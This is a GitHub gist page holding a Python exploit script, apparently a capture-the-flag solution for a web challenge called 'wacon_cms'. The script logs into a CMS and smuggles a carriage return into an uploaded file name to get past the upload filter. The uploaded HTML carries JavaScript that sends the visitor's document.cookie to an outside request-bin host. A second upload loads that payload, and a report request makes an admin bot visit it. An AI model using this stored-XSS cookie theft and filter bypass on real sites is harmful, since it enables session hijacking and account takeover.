Skip to content

Instantly share code, notes, and snippets.

@l0vey0u

l0vey0u/wacon_cms.py

Created September 3, 2023 13:55
Show Gist options
  • Save l0vey0u/8c4cd2b58d65f7e89b11517cd110e694 to your computer and use it in GitHub Desktop.
Save l0vey0u/8c4cd2b58d65f7e89b11517cd110e694 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. l0vey0u created this gist Sep 3, 2023.
    81 changes: 81 additions & 0 deletions wacon_cms.py
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,81 @@
    import requests

    HOST = "https://9307-211-114-95-154.ngrok-free.app"
    HOST = "http://58.225.56.195"

    req_bin = "https://jsngigx.request.dreamhack.games"
    ex_src = f"location.replace('{req_bin}/?a='+document.cookie);"

    idx = int(input("마지막 글의 idx를 알려주세요"))

    with open("ex.html", "w") as f:
    f.write(ex_src)

    sess = requests.Session()

    data = {
    "username": "ghost",
    "pw": "ghost123"
    }
    resp = sess.post(f"{HOST}/login.php", data=data)
    print(sess.cookies.get_dict())
    print(resp.text)

    data = {
    'title': 'yey',
    'content': 'yey',
    'level': 1,
    'password': 'qwe123qwe'
    }
    headers = {
    "Cookie": f"PHPSESSID={sess.cookies.get_dict()['PHPSESSID']}"
    }
    files = {'file':('ex.html@', open('ex.html', 'rb'))}
    req = requests.Request('POST', f"{HOST}/board.php?p=write", data=data, files=files, headers=headers)
    req = req.prepare()
    req.body = req.body.replace(b"@", b"\r")
    print(req.body)
    print(req.headers)
    resp = sess.send(req)

    print(resp.content)



    load_src = f"""
    <html>
    <head>
    </head>
    <body>
    <script src="http://webserver/download.php?idx={idx+1}"></script>
    </body>
    </html>
    """
    with open("load.html", "w") as f:
    f.write(load_src)

    data = {
    'title': 'yey',
    'content': 'yey',
    'level': 1,
    'password': 'qwe123qwe'
    }
    headers = {
    "Cookie": f"PHPSESSID={sess.cookies.get_dict()['PHPSESSID']}"
    }
    files = {'file':('load.html@', open('load.html', 'rb'))}
    req = requests.Request('POST', f"{HOST}/board.php?p=write", data=data, files=files, headers=headers)
    req = req.prepare()
    req.body = req.body.replace(b"@", b"\r")
    print(req.body)
    print(req.headers)
    resp = sess.send(req)

    print(resp.content)

    params = {
    "idx": idx + 2,
    "path": f"download.php"
    }
    resp = sess.get(f"{HOST}/report.php", params=params)
    print(resp.text)